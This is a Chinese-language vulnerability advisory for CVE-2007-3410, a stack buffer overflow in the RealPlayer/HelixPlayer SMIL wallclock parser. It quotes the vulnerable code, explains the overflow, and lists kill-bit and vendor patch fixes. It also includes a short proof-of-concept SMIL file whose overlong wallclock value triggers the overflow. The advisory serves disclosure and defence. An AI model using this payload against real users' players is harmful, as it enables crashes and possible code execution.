安全研究
安全漏洞
RealPlayer/HelixPlayer ParseWallClockValue函数栈缓冲区溢出漏洞
发布日期:2007-06-26
更新日期:2007-10-26
受影响系统:
Real Networks RealPlayer 10.5-GOLD描述:
Real Networks Helix Player 10.5-GOLD
BUGTRAQ ID: 24658,25627
CVE(CAN) ID: CVE-2007-3410
RealPlayer是一款非常流行的媒体播放器,支持多种格式;HelixPlayer是其开源版本。
RealPlayer/HelixPlayer播放器的墙壁时钟在处理日期格式时存在缓冲区漏洞,远程攻击者可能利用此漏洞控制用户机器。
墙壁时钟(wallclock)功能没有正确地处理HH:mm:ss.f时间格式:
924 HX_RESULT
925 SmilTimeValue::parseWallClockValue(REF(const char*) pCh)
926 {
...
957 char buf[10]; /* Flawfinder: ignore */
...
962 while (*pCh)
963 {
...
972 else if (isspace(*pCh) || *pCh == '+' || *pCh == '-' || *pCh == 'Z')
973 {
974 // this will find the last +, - or Z... which is what we want.
975 pTimeZone = pCh;
976 }
...
982 ++pCh;
983 }
...
1101 if (pTimePos)
1102 {
1103 //HH:MM...
....
1133 if (*(pos-1) == ':')
1134 {
....
1148 if (*(pos-1) == '.')
1149 {
1150 // find end.
1151 UINT32 len = 0;
1152 if (pTimeZone)
1153 {
1154 len = pTimeZone - pos;
1155 }
1156 else
1157 {
1158 len = end - pos;
1159 }
1160 strncpy(buf, pos, len); /* Flawfinder: ignore */
在957行栈缓冲区声明为10字节,该行的标注导致FlawFinder程序忽略这个缓冲区。
962行开始的循环通过一个函数参数运行,该函数用于寻找表示时间格式中不同部分的字符。如果遇到了空格、“+”、“-”、或“Z”字符,就会记录下位置以备之后使用。如果找到了时间且包含有冒号和逗号,就会到达有漏洞的代码。
1154或1158行计算将要拷贝到栈缓冲区的数据长度,具体取决于是否存在时区。这两处计算都没有考虑buf缓冲区的常数长度,因此在1160行可能出现栈溢出。此外,该行不安全地使用strncpy()也被标记了忽略FlawFinder的标注。
如果用户受骗使用有漏洞的播放器加载了同步多媒体集成语言(SMIL)文件的话,就可能触发这个溢出,导致执行任意指令。
此外RealPlayer和HelixPlayer在处理畸形的.au文件时还可能将0用作除数,导致播放器崩溃。
<*来源:iDEFENSE
链接:http://marc.info/?l=bugtraq&m=118952488307553&w=2
http://secunia.com/advisories/25819/
http://service.real.com/realplayer/security/10252007_player/en/
http://secunia.com/advisories/27361/
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=547
https://www.redhat.com/support/errata/RHSA-2007-0605.html
https://www.redhat.com/support/errata/RHSA-2007-0841.html
http://security.gentoo.org/glsa/glsa-200709-05.xml
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
author: axis
site: http://www.ph4nt0m.org
-->
<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
<body>
<par>
<img src="./1.jpg" begin="wallclock(12:00:00.999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999+9)" dur="5s"/>
</par>
</body>
</smil>
http://marc.info/?l=bugtraq&m=118952488307553&q=p3
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 为CLSID CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA设置kill-bit。
厂商补丁:
Real Networks
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.real.com
RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2007:0605-01)以及相应补丁:
RHSA-2007:0605-01:Critical: HelixPlayer security update
链接:https://www.redhat.com/support/errata/RHSA-2007-0605.html
Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200709-05)以及相应补丁:
GLSA-200709-05:RealPlayer: Buffer overflow
链接:http://security.gentoo.org/glsa/glsa-200709-05.xml
所有RealPlayer用户都应升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose ">=media-video/realplayer-10.0.9"
浏览次数:2732
严重程度:0(网友投票)
绿盟科技给您安全的保障
